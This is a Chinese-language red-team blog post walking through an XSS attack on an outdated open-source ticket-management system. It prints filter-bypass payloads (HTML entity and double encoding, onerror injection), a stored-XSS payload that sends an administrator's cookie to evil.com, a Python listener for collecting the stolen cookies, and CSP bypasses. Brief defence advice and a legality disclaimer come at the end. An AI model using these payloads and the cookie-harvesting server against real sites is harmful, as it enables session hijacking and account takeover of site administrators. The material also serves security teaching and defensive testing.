一、一次意外发现的XSS漏洞
某天,一位朋友联系到我,说他的公司官网可能存在安全问题。他们的客服管理后台最近收到了一些异常的工单,工单内容被提交后管理员浏览器竟然弹出了一个奇怪的弹窗。出于职业敏感性,他怀疑可能是XSS(跨站脚本攻击),于是找到我帮忙确认。
作为一名红队成员,我对这种案例非常感兴趣。通过简单的信息收集,我发现这套后台是一个常见的开源工单管理系统,版本停留在三年前。我决定对其展开一次精细化的XSS渗透测试,并记录下整个过程。
---
二、寻找攻击入口:从信息收集开始
XSS的本质是利用不安全的用户输入点,通过脚本代码操控受害者浏览器。因此,我的首要任务是找到所有可以输入数据的地方。
目标系统的功能点扫描
在实验环境中,我搭建了与目标一致的工单管理系统,并开始分析其功能模块。以下是几个典型的输入点:
- 工单提交表单:用户填写的标题、描述、上传文件字段;
- 评论模块:工单后续的评论回复框;
- 搜索功能:支持用户在工单列表中查找关键词;
- 管理员公告:后台支持管理员发布公告供用户查看。
通过观察HTML源码和Burp Suite抓包,我发现这些输入点都存在直接或间接的反射行为,这为XSS提供了可能。
---
三、Payload构造的艺术:突破输入限制
在确认了输入点后,我尝试使用常规的XSS Payload进行测试,比如:
<pre><code class="language-html"><script>alert('XSS')</script></code></pre>
然而,这些输入被系统过滤掉了,显然这是一个简单的输入校验机制。为了绕过这些限制,我展开了进一步的研究。
绕过策略一:HTML实体编码
如果直接输入 <script> 被拦截,可以尝试用 HTML 实体编码形式:
<pre><code class="language-html">&#60;script&#62;alert('XSS')&#60;/script&#62;</code></pre>
通过这种方式,我成功触发了一个反射型XSS,用户提交的内容被直接嵌入到另一个页面的HTML代码中。
绕过策略二:双重编码
部分情况下,系统会对输入内容进行一次编码后再存储。这时,我们可以利用双重编码:

<pre><code class="language-html">%253Cscript%253Ealert('XSS')%253C/script%253E</code></pre>

这种形式通常在URL处理场景中更有效。
绕过策略三:事件属性注入
即使 <script> 标签被过滤,我们仍可以利用其他HTML标签的事件属性:
<pre><code class="language-html"><img src=x onerror="alert('XSS')"></code></pre>
图片标签的 onerror 事件常常是一个很好的Payload注入点。
---
四、深挖漏洞:持久性XSS的威胁
在进一步的测试中,我发现目标系统不仅存在反射型XSS,还可能存在更严重的存储型XSS。
存储型XSS的攻击场景
目标系统的工单评论模块允许普通用户提交评论,而这些评论会被管理员在后台直接查看。通过提交以下Payload,我成功利用了存储型XSS:
<pre><code class="language-html"><img src=x onerror="fetch('http://evil.com/steal?cookie='+document.cookie)"></code></pre>
管理员在后台查看评论时,浏览器会自动触发 onerror 事件,导致他的 document.cookie 被发送到我的C2服务器。
---
五、C2服务器搭建与数据接收
为了接收管理员的Cookie,我使用Python快速搭建了一个简易的HTTP服务器:
<pre><code class="language-python">from http.server import BaseHTTPRequestHandler, HTTPServer
class XSSHandler(BaseHTTPRequestHandler): def do_GET(self): print("Received Data: ", self.path) self.send_response(200) self.end_headers()
if __name__ == "__main__": server = HTTPServer(('0.0.0.0', 8080), XSSHandler) print("Server started on port 8080...") server.serve_forever()</code></pre>
将恶意Payload中的 http://evil.com/steal 替换为服务器的公网地址,成功接收到了管理员的Cookie。
---
六、突破安全防护:绕过CSP
现代浏览器中普遍采用了内容安全策略(CSP)来防御XSS。当目标系统启用了CSP时,需要更高级的技巧来绕过。
JSONP劫持
某些系统会通过JSONP接口返回可被攻击者利用的数据。如果JSONP接口未受控,可以构造如下Payload绕过CSP:
<pre><code class="language-html"><script src="http://target.com/data?callback=alert"></script></code></pre>
利用内联事件

当 script-src 被限制时,可以尝试利用内联事件,如:
<pre><code class="language-html"><a href="javascript:alert('XSS')">Click Me!</a></code></pre>
---
七、检测与防御建议
从攻击者视角出发,也需要了解如何检测和修复XSS漏洞,防止系统被攻陷。
检测工具
- Burp Suite:通过拦截请求,注入常见的XSS Payload;
- XSS Hunter:自动化监控系统并发现潜在漏洞;
- DOMPurify:测试前端代码是否正确过滤用户输入。
防御策略
- 输入校验:严格限制用户输入,禁止特殊字符;
- 输出转义:对输出的HTML进行适当的转义处理;
- CSP策略:配置合理的内容安全策略,限制脚本来源;
- 安全编码库:使用成熟的安全编码库,如OWASP推荐的ESAPI。
---
八、从攻击者视角反思弱点
- 不安全的默认配置:很多开源系统在初始配置中没有考虑安全性,给攻击者留下了机会。
- 输入点多样化:攻击者通常会尝试绕过表面入口,挖掘隐藏的输入点。
- 反射型与存储型结合:两种类型的XSS可以组合利用,实现更强的攻击效果。
---
结语
XSS虽然看似简单,但其危害却不容小觑。作为红队,我们的目标不仅是发现漏洞,更是通过实战验证漏洞的可能性和危害性,同时推动防御体系的改进。希望这篇文章能帮助你更好地理解和实践XSS技术,同时也提醒大家,任何未经授权的测试和攻击行为都是非法的,请务必在合法授权范围内行动。